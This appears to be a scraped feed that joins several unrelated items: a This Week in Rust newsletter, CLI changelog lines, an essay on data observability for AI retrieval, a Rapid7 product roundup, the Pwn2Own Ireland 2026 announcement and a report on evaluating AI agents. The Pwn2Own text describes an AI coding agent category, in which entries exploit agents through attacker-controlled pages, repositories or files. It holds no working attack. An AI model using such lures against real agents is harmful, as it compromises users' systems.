• tracing-reload - reload layer without panics
• Introducing OpenTypeless: Voice Input That Actually Works
• Reading a Rust crate's capabilities out of its compiled symbols

Observations/Thoughts

• Battery packs: Let's talk about crates, baby
• Capture Clauses as Effects
• Hardening Rust Code For Production
• Tokio Gives Progress, Not Ordering: Scheduling 1M Tasks
• Rust service hardening and production checklist
• [audio] The Rust Foundation with Rebecca Rumbul, Lori Lorusso, and David Wood, Rust Foundation leadership and board
• [video] Jon Gjengset: Open Source Maintenance 2026-07-18
• [video] Rust Release Changelog - 1.97.0
• [video] Livestream: Rust in Ubuntu

Rust Walkthroughs

• I hash-chained my agent's audit log. Then I found 13 breaks in it — all mine, all benign.
• Two tricky bugs in a Rust daemon
• [video] Backend Concepts in Rust: Securely Managing App Secrets
• [video] Build with Naz - Ep 21: High Performance Flat 2D Arrays in Rust (SIMD, L1 cache)

Crate of the Week

This week's crate is xan, a TUI toolkit to work with CSV files.

Thanks to Simeon H.K. Fitch for the suggestion!

Please submit your suggestions and votes for next week!

Calls for Testing

An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

Let us know if you would like your feature to be tracked as a part of this list.

Call for Participation; projects and speakers

CFP - Projects

Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

Some of these tasks may also have mentors available, visit the task page for more information.

• No Calls for participation were submitted this week.

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

CFP - Events

Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

• No Calls for papers or presentations were submitted this week.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

Updates from the Rust Project

576 pull requests were merged in the last week

Compiler

• account for async closures when pointing at lifetime in return type
• comptime inherent impls
• dep_graph: deduplicate task reads with an epoch-filtered index recorder
• eagerly check for ambiguity in macro parsing
• implement #[diagnostic::opaque] attribute to hide backtraces of macros
• shrink ast::Expr64

Library

• add explicit Iterator::count impl for str::EncodeUtf16
• implement bool::toggle
• implement const_binary_search
• implement Debug helpers via Cell
• implement VecDeque::truncate_to_range
• make pin!() more foolproof
• move std::io::BufRead to alloc::io
• move std::io::Read to alloc::io
• move std::io::read_to_string to alloc::io

Cargo

• use PGO for Cargo
• timings: only report units the job queue actually ran
• do not include proc-macro deps in rustc search path args
• include SBOM outputs in fingerprints
• lazily initialize git2 fetch transports

Rustdoc

• fix auto trait normalization env
• use PGO for rustdoc

Clippy

• add block_scrutinee lint
• avoid invalid ref_as_ptr suggestions in const/static initializers
• detect == 0 on unsigned types as a manual_clamp lower bound
• fix if_not_else linting on macro expanded conditions
• fix needless_collect suggests a suggestion that cannot be typed
• non_zero_suggestions: don't lint signed integer div/rem as NonZero
• manual_filter: don't eat comments in the and_then suggestion
• require the use of as _ for indirectly used traits in clippy sources
• rewrite min_ident_chars
• use #[must_use] determination from the compiler

Rust-Analyzer

• avoid index panic when flycheck list is empty
• add capture hints to coroutines
• add handler for E0572
• do not assume array destructuring assignments with rest pattern are constant-sized
• eagerly normalize .await's IntoFuture::Output
• enable auto trait inference
• extract variable preserving whitespace from macro input
• fix coroutines not recording binding owners correctly
• fix crashes in assists due to .unwrap() calls in SyntaxFactory
• fix hir crate leaking bound variables from skipped binders
• fix InferenceContext:identity_args using the wrong DefId
• fix syntax bridge panic when spilting float
• handle enum variants in next-solver generics
• implement lowering of HRTB
• invalid pattern_matching_variant lowering due to recovery
• merge WherePredicate::ForLifetimes into WherePredicate::TypeBound
• only write anon const ty in parent's inference result if it doesn't have its own inference
• panic with a function item and a proc macro item having a duplicate name
• parser to error on macro type bound
• spawn proc-macro servers on requests clearing the client cache
• use quote! inside ast::make::expr_call()
• use Result for the lsp-server Response payload type
• record expressions in types in ExprScope

Rust Compiler Performance Triage

The two most notable changes this week were #159115, which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks, and #159091, which enabled PGO for rustdoc, which makes it ~3-4% faster across the board.

There were two large rollups with tiny performance regressions, which made it difficult to find the offending PRs.

Triage done by @Kobzol. Revision range: 5503df87..d527bc9b

Summary:

2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups 34 artifact comparisons made in total

Full report here.

Approved RFCs

Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

• No RFCs were approved this week.

Final Comment Period

Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

Tracking Issues & PRs

• Tracking Issue for bool::toggle
• Tracking Issue for vec_try_remove
• Avoid computing layout of enums with non-int discriminants
• Tracking Issue for const_btree_len
• Add raw_borrows_via_references lint
• stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw
• rustc_passes: lint unused #[path] attributes on inline modules

• Emit note when calling rustc without specifying an edition
• Let the OS handle stack growth
• Add target_feature_available_at_call_site

• Deallocate post-2026 funds from PM and compiler-ops

• Do the bytes of a pointer have to stay in the same order?

No Items entered Final Comment Period this week for Cargo, Language Reference, Language Team or Rust RFCs.

Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.

New and Updated RFCs

• RFC: Refactor the libs team

Upcoming Events

Rusty Events between 2026-07-22 - 2026-08-19 🦀

Virtual

• 2026-07-24 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-07-28 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Fourth Tuesday
• 2026-07-28 | Virtual (Washington, DC, US) | Rust DC
  • Mid-month Rustful
• 2026-07-30 | Virtual (Berlin, DE) | Rust Berlin
  • Rust Hack and Learn
• 2026-07-31 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-08-01 | Virtual (Kampala, UG) | Rust Circle Meetup
  • Rust Circle Meetup
• 2026-08-02 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Rust Deep Learning: First Sunday
• 2026-08-04 | Virtual (London, UK) | Women in Rust
  • 👋 Community Catch Up
• 2026-08-05 | Virtual (Indianapolis, IN, US) | Indy Rust
  • Indy.rs - with Social Distancing
• 2026-08-07 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-08-11 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Second Tuesday
• 2026-08-13 | Virtual (Berlin, DE) | Rust Berlin
  • Rust Hack and Learn
• 2026-08-13 | Virtual (Nürnberg, DE) | Rust Nuremberg
  • Rust Nürnberg online
• 2026-08-14 | Virtual (Girona, ES) | Rust Girona
  • Sessió setmanal de codificació / Weekly coding session
• 2026-08-18 | Virtual (Washington, DC, US) | Rust DC
  • Mid-month Rustful
• 2026-08-19 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
  • Dealing with Dependencies

Africa

• 2026-08-11 | Johannesburg, ZA | Johannesburg Rust Meetup
  • Rust's extended standard library

Asia

• 2026-07-25 | Mumbai, IN | Rust Mumbai
  • ​Rust Mumbai — July Meetup 🦀
• 2026-07-26 | Pune, IN | Rust Pune
  • Rust Pune: July 2026

Europe

• 2026-07-23 | Berlin, DE | Rust Berlin
  • Rust Berlin Talks: The next generation
• 2026-07-23 | London, UK | Rust London User Group
  • LDN Talks: July 2026 Antithesis Takeover
• 2026-07-23 | London, UK | London Rust Project Group
  • Rama modular service framework for Rust
• 2026-07-23 | Paris, FR | Rust Paris
  • Rust meetup #87
• 2026-07-25 | Stockholm, SE | Stockholm Rust
  • Ferris' Fika Forum #28
• 2026-07-27 | Augsburg, DE | Rust Meetup Augsburg
  • Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production
• 2026-07-29 | Poland, PL | Rust Poland
  • Rust Poland x Kraków #10
• 2026-07-30 | Copenhagen, DK | Copenhagen Rust Community
  • Rust meetup #70
• 2026-07-30 | Manchester, UK | Rust Manchester
  • Rust Manchester July Code Night
• 2026-08-18 | Aarhus, DK | Rust Aarhus
  • Hack Night: Trust but verify the LLM
• 2026-08-18 | Leipzig, DE | Rust - Modern Systems Programming in Leipzig
  • Topic TBD

North America

• 2026-07-22 | Austin, TX, US | Rust ATX
  • Rust Lunch - Fareground
• 2026-07-22 | Los Angeles, CA, US | Rust Los Angeles
  • Rust LA: Rust in Distributed Systems with Flight Science!
• 2026-07-22 | New York, NY, US | Rust NYC
  • Rust NYC: Write A Custom Coding Agent and wasm_zero
• 2026-07-23 | Mountain View, CA, US | Hacker Dojo
  • RUST MEETUP at HACKER DOJO
• 2026-07-25 | Boston, MA, US | Boston Rust Meetup
  • Porter Square Rust Lunch, July 25
• 2026-07-25 | Brooklyn, NY, US | Flower
  • BOG-A-THON 2
• 2026-07-30 | Atlanta, GA, US | Rust Atlanta
  • Rust-Atl
• 2026-08-01 | Boston, MA, US | Boston Rust Meetup
  • Chinatown Rust Lunch, Aug 1
• 2026-08-04 | Boston, MA, US | Boston Rust Meetup
  • Evening Boston Rust Meetup at Red Hat, Aug 4
• 2026-08-06 | Saint Louis, MO, US | STL Rust
  • Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API
• 2026-08-13 | Lehi, UT, US | Utah Rust
  • Utah Rust August Meetup
• 2026-08-13 | San Diego, CA, US | San Diego Rust
  • San Diego Rust August Meetup - Back in person!
• 2026-08-15 | San Francisco, CA, US | Flower
  • BOG-A-THON 3
• 2026-08-18 | San Francisco, CA, US | San Francisco Rust Study Group
  • Rust Hacking in Person
• 2026-08-19 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
  • Dealing with Dependencies

Oceania

• 2026-07-23 | Perth, AU | Rust Perth Meetup Group
  • Rust Perth: July Meetup!
• 2026-07-30 | Melbourne, AU | Rust Melbourne
  • Rust Melbourne July 2026

South America

• 2026-08-08 | São Paulo, SP | Rust-SP
  • Rust SP - Aug/2026

If you are running a Rust event please add it to the calendar to get it mentioned here. Please remember to add a link to the event too. Email the Rust Community Team for access.

Jobs

Please see the latest Who's Hiring thread on r/rust

Quote of the Week

We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.

– Carl Lerche on r/rust about the launch of topcoat

Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.

Please submit quotes and vote for next week!

This Week in Rust is edited by:

• nellshamrell
• llogiq
• ericseppanen
• extrawurst
• U007D
• mariannegoldin
• bdillo
• opeolluwa
• bnchi
• KannanPalani57
• tzilist

Email list hosting is sponsored by The Rust Foundation

Discuss on r/rust

• fix(core): sequentially verify cached credentials and restore GOOGLE_APPLICATION_CREDENTIALS fallback by @luisfelipe-alt in #28472
• feat(evals): add eval coverage report command by @ved015 in #28169

Full Changelog: v0.52.0-nightly.20260722.gc776c665b...v0.52.0-nightly.20260723.g9681621c6

This is not a hypothetical. It's one of the most common production failure modes in enterprise AI right now, and most data engineering teams don't have the right tooling to catch it, regardless of how the AI system retrieves the data.

The failure that doesn't look like a failure 

An AI application doesn't care whether it's retrieving from a vector store, a document index, or an API call. Whatever the mechanism, nothing in a standard retrieval pipeline checks whether what it's serving is still correct. A stale pricing document retrieves just as confidently as a current one, because the system is scoring relevance or availability, not correctness. A record with a silently missing field passes through just as cleanly as a complete one, for the same reason.

So the failure is invisible by design. Outdated or incomplete data still scores high on relevance, or passes every check a data pipeline was built to run. The model answers with full confidence because the retrieved context looks authoritative. Every dashboard you're watching stays green. The system looks like it's working. It's just wrong.

I’ve watched a similar version of this happen outside the AI context, in a fintech pipeline. An upstream system changed a field without notifying downstream users. The pipeline did not fail; it simply propagated bad values into dashboards because the system only checked whether the job completed, not whether the data was still correct. The issue surfaced only when a customer noticed something inconsistent. By then, the bad data had already moved downstream. 

Whether it's a document that's gone stale or a field that's gone silently missing, the failure shape is the same: the absence of an error is not the presence of correctness, and without building proper validation layers, nothing in the pipeline could identify the problem.

Why this is a data engineering problem

Teams that hit this failure tend to misdiagnose it, and they tend to do it twice.

Blaming the model: The first instinct is to blame the model, try a different LLM, adjust the prompt. The real problem lies further upstream, at the data engineering layer, the same instinct behind the fintech failure above: monitoring built for the pipeline, not the data.

Blaming the retrieval layer: Once the model's ruled out, the next instinct is to blame the retrieval or context layer instead and buy a better one. The timing isn't a coincidence: as enterprises push these systems into the real production world, this gap is exactly what's starting to surface, and the vendor response has been everywhere. 

• AWS just entered the "context layer" race with a knowledge graph that learns from agent usage. 

• Snowflake's new Horizon Context and Cortex Sense target the exact symptom this piece opened with: agents giving confident wrong answers because nothing governs the business logic underneath them. 

Both are real responses to a real problem, but they sit one layer above it; a knowledge graph still depends on whatever feeds it.

The real problem lies further upstream, at the data engineering layer. Teams check whether a job ran, not whether the data it moved is still true, an instinct that predates AI by years. Monitoring is built for the pipeline, not for the data. 

What's actually missing: Data observability

Data observability is a well-known concept that doesn't get enough attention in how it's actually implemented. The relevant metric isn't a percentage — it's coverage: what fraction of critical datasets have lineage that's actually queryable, versus only living in someone's head.

Uber built a dedicated data quality and observability platform long before retrieval-augmented generation existed. Their Unified Data Quality platform supports more than 2,000 critical datasets and detects around 90% of data quality incidents before they reach downstream consumers.

Netflix solved a different piece of the same problem, building a company-wide data lineage system so anyone could answer where a dataset came from and what touched it along the way. It maps dependencies across Kafka topics, ML models, and experimentation, not just warehouse tables. Similar to Uber, the platform was built for humans and now it has become more important with the rise in AI/LLM applications.

Between them, Uber and Netflix cover two of the four things worth building for. In practice, I think about it as four dimensions, each measurable on its own terms.

Correctness: Does each record conform to the shape and rules it's supposed to, right field types, no unexpected nulls, values in range. Tools like Great Expectations and Soda handle this well: automated row and column-level validation instead of manual checks after something breaks. Track percentage of records passing validation per run.

Freshness: Is the data still current relative to its source, not just current as of its last check. Track time since last successful update per source, with an SLA per dataset rather than one blanket threshold, since some sources need hourly refresh and others don't.

Consistency: Does the same fact read the same way everywhere it's stored or indexed. This fails silently, it only shows up when two systems fed by the same source start disagreeing. A periodic cross-check between downstream destinations, flagging mismatch rate above a threshold, is enough to catch it early.

Lineage: Can you trace any output back to its source and every transform it passed through, the same question Netflix built its system to answer. 

None of this requires infrastructure most data teams don't already have. I know because I've built it, not just argued for it.

At Socure, client data arrived in whatever shape the client felt like sending it, and occasionally, quietly wrong. The challenge was building a system where incorrect data could be identified before it propagated downstream. The same principles applied: Validate what arrived, understand where it came from, and prevent bad data from becoming someone else's problem.

Great Expectations became part of that foundation: schema and range validation at ingestion, per-source SLAs for freshness, cross-system checks for consistency, and file-level lineage. All of it sat behind a write-audit-publish pattern, where data landed in staging, was validated, and only moved downstream if it passed the required checks.

The result showed up downstream: better accuracy across the board, in reporting, in the ML models, and in AI retrieval built on top of that same data.

What to do Monday morning

If you're running retrieval-based AI systems in production, the diagnostic question isn't which model to try next or which retrieval architecture to migrate to. It's four narrower questions: 

• Is the underlying data validated against the standards required by its consumers?

• What's the oldest piece of content currently being served with high confidence?

• Would two chunks of the same source ever disagree with each other in the same retrieval result?

• Could you trace where it came from if it turned out to be wrong?

If you can't answer those questions, then the gap lies in the pipeline between your source systems and whatever your agent reads from. That’s a data engineering fix, not a model swap or a vendor migration.

Whether you're building reporting pipelines, ML systems, or AI agents, correctness, freshness, consistency, and lineage are what make data trustworthy. AI simply exposes weaknesses that have existed in data engineering all along. 

• fix(core,a2a): group cancelled tool responses and coalesce consecutive roles to prevent 400 Bad Request by @luisfelipe-alt in #28407
• feat(caretaker-triage): implement LLM triage orchestrator and container build by @chadd28 in #28345
• refactor(cli): align macOS permissive Seatbelt profiles with deny-default model by @ompatel-aiml in #28424
• fix(core): mitigate infinite ReAct loops and prompt injection loops by @amelidev in #28429
• fix(a2a-server): enforce workspace trust and task isolation to prevent RCE by @luisfelipe-alt in #28470
• fix(core): sequentially verify cached credentials and restore GOOGLE_APPLICATION_CREDENTIALS fallback by @luisfelipe-alt in #28472
• feat(evals): add eval coverage report command by @ved015 in #28169

Full Changelog: v0.52.0-preview.0...v0.53.0-preview.0

Detection and response

Streamline investigations with bidirectional and enriched Microsoft Defender alerts

Bidirectional synchronization and enriched alert context for Microsoft Defender is now generally available for SIEM and MDR customers, enabling security teams to automatically synchronize alert status between Rapid7's SIEM and the Microsoft Defender console. With added process tree and user identity context, analysts can investigate threats more efficiently while reducing manual effort.

Confidently scale detection engineering with Detection as Code

Detection as Code enables security teams to build, test, version, and deploy detections using Terraform and modern engineering workflows. Built-in validation, guardrails, and version control help teams deliver higher-quality alerts, maintain more consistent coverage, and scale detection engineering more effectively.

Strengthen ransomware resilience with Ransomware Prevention for Incident Command

Ransomware Prevention for Incident Command adds an intent-based layer of protection designed to stop ransomware encryption and endpoint damage before they disrupt operations. Built into the Insight Agent, this capability strengthens ransomware resilience while working alongside existing endpoint security investments, without adding operational complexity.

Compliance

New solutions webpages

Across the globe, cybersecurity regulation is shifting away from static compliance checklists and toward ongoing risk management that blends proactive defense with effective detection and response. Rapid7’s platform, which brings exposure management and CTEM together with detection, response, and MDR, is well positioned to help organizations operationalize compliance across mandates such as NIS2, NIST CSF 2.0, DORA, HIPAA, HITRUST, and GovRAMP. To support that effort, Rapid7 has launched an updated library of dedicated compliance solution pages that map platform capabilities to the requirements that matter most across industries and regions. The first set of pages is live now, with more to follow in the coming weeks.

• NIST CSF 2.0

• HIPAA

• HITRUST

• NIS2

• GovRAMP

Exposure management

Turn prioritized exposures into remediation progress

We improved Remediation Hub to help teams turn prioritized exposures into more actionable remediation progress. Updates to the Top Remediations Report add asset-level context, including operating system, IP address, cloud provider, tags, endpoint protection, and patch management details, so teams can better understand what needs to be fixed and who needs to act.

With clearer patch and endpoint coverage signals, reboot status, customizable filters, exportable reports, and scheduled email delivery, teams can spend less time assembling manual updates and more time tracking the remediation work that reduces risk. Read the full blog to learn more about how Exposure Command helps teams move from prioritized exposures to remediation progress.

AI pre-triage for AppSec findings

Rapid7 is also making application security testing faster and more focused with AI vulnerability pre-triaging for InsightAppSec. Available now for AppSec customers in supported regions, the capability uses AI to automatically remove false positives during the scan process, helping teams spend less time manually reviewing findings and more time remediating actual risk.

Initial coverage started with BlindSQL, and the latest engine release adds AI validation for BlindNoSQL findings, including content-based and timing-based detections. The result is a cleaner, more confident view of application risk, so security teams can focus on high-impact vulnerabilities and accelerate remediation with less manual effort.

Attack surface management

Open-source MCP Server and Agent Skill

We are delighted to announce the introduction of a free, open-source MCP Server and Agent Skill for Bulk Export. Bulk export is a highly efficient way to access all your Rapid7 vulnerability and exposure data to AI assistants and custom AI workflows. Built as an open-source bridge, it helps customers bring their Rapid7 data into the tools and experiences that work best for their teams. Check out our blog for more detail.

Turn exposure filters into live dashboards

Surface Command also made exposure reporting easier with filter-based dashboard widgets. Teams can now turn saved asset and identity filters into live dashboards without writing Cypher queries, making it faster to track high-risk internet-facing assets, identity-driven exposure hotspots, unmanaged cloud infrastructure, and business-unit risk.

For continuous threat exposure management programs, this helps teams move from one-off reporting to repeatable, always-on views of exposure risk and remediation progress. Read this blog to learn more. 

Platform and Labs

Rapid7 Command Platform

Cyber GRC

Rapid7 introduced Cyber GRC to select customers in Q2, giving teams an early look at a new way to connect security, risk, compliance, and third-party risk management in one program. Available to both Exposure Management and Detection and Response customers, Cyber GRC brings governance and compliance workflows closer to the security data teams already use every day.

Cyber GRC will be broadly available in late July. It helps organizations move toward continuous compliance by mapping controls to real environment telemetry, automating evidence collection, and prioritizing risk with live attack surface context. That means teams can spend less time chasing audit artifacts, screenshots, and vendor risk details, and more time understanding which controls, assets, third parties, and risks need attention now.

Rapid7 Labs

Rapid7 Quarterly Threat Landscape Report

The Rapid7 Quarterly Threat Landscape Report examines the key trends shaping today's threat landscape, drawing on MDR incident response, vulnerability intelligence, ransomware monitoring, and dark web telemetry. Q1 2026 data highlights the growing dominance of vulnerability exploitation as an initial access vector, the rise of zero-click vulnerabilities, evolving ransomware operations, and the accelerating pace at which attackers operationalize newly disclosed vulnerabilities. Read the report to explore all key findings and takeaways.

The latest threat research

Rapid7 researchers explored emerging trends shaping the threat landscape, including the growing commercialization of criminal AI-as-a-Service and the evolving tradecraft of advanced threat actors. From the underground adoption of AI tools for fraud and social engineering to an in-depth analysis of the Dropping Elephant malware campaign, these reports provide actionable intelligence on how attackers are adapting their techniques and what defenders can do to stay ahead.

Emergent Threat Response

This quarter's Emergent Threat Response (ETR) coverage highlights a sustained wave of high-impact vulnerabilities affecting widely deployed enterprise technologies, including Oracle PeopleSoft, Palo Alto Networks PAN-OS, Check Point VPN, Ivanti Sentry, cPanel/WHM, and Nginx UI. For each of these CVEs, Rapid7 tracked active exploitation and rapidly evolving attacker activity to provide timely guidance to help defenders assess risk and respond quickly. See all the details, and our latest ETR coverage, here.

From strengthening detection and response to advancing exposure management, expanding governance capabilities, and delivering actionable threat intelligence, Q2 demonstrated Rapid7’s continued focus on helping security teams do more with less complexity. Every enhancement this quarter was designed to reduce manual effort, surface the context that matters, and help organizations make faster, more confident security decisions. We’re carrying that momentum into the rest of the year, so stay tuned to our blog and releases as we continue building the security operations platform that helps defenders stay ahead of what’s next.

The post Abusing Trusted Business Workflows: A Multi-Stage Phantom Stealer Campaign appeared first on Seqrite Labs.

The post Unsloth vs Axolotl vs TRL vs LLaMA-Factory: A Fine-Tuning Framework Comparison on Speed, VRAM, and Multi-GPU appeared first on MarkTechPost.

Hide My Email Vulnerability Becomes the Focus of Apple Lawsuit 

How Apple’s Hide My Email Feature Works 

Anthony Alvarez Claims Apple Misled Customers Over Privacy 

Lawsuit Seeks Damages and Changes From Apple 

The post Security teams keep finding critical flaws after scheduled testing ends appeared first on Help Net Security.

Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random banshee), we had an amazing event, even if we did end up in a jail at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).

As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at pwn2own@trendmicro.com (note the address). We will be happy to address your issues or concerns directly.

Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules thoroughly to ensure you meet all the requirements.

Now on to this year’s target categories. We’ll have seven different categories for this year’s event:

-- Mobile Phones
-- Smart Home Devices
-- Wellness
-- Printers
-- Messaging
-- AI Infrastructure
-- AI Coding Agents

Let’s take a look at each category in more detail, starting with mobile phones.

The Target Phones

Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.

Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:

Back to top

Smart Home Devices

As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

Back to top

Wellness Category

This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.

Back to top

Rage Against the Printers

Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets.

Back to top

The Messaging Category

We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:

Back to top

AI Infrastructure Category

We introduced these targets at Pwn2Own Berlin, and we saw such…uh…enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:

Back to top

AI Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

Back to top

Master of Pwn

No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick trophy, a different sort of wearable, and brings with it an additional 65,000 ZDI reward points (instant Platinum status in 2027).

For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.

The Complete Details

The full set of rules for Pwn2Own Ireland 2026 can be found here. They may be changed at any time without notice. We highly encourage potential entrants to read the rules thoroughly and completely should they choose to participate. We also encourage contestants to read this blog covering what to expect when participating in Pwn2Own.

Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.

The Results

We’ll be blogging and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at @thezdi and @trendaisecurity, and keep an eye on the #P2OIreland hashtag for continuing coverage.

We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.

©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

At VB Transform 2026, Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.

Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.

"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."

Evaluation criteria now function as the product spec

That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.

"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."

Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."

Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.

Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.

Why scoring traces one at a time is a mistake

Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.

Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.

Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.

Sizing the judge to the job

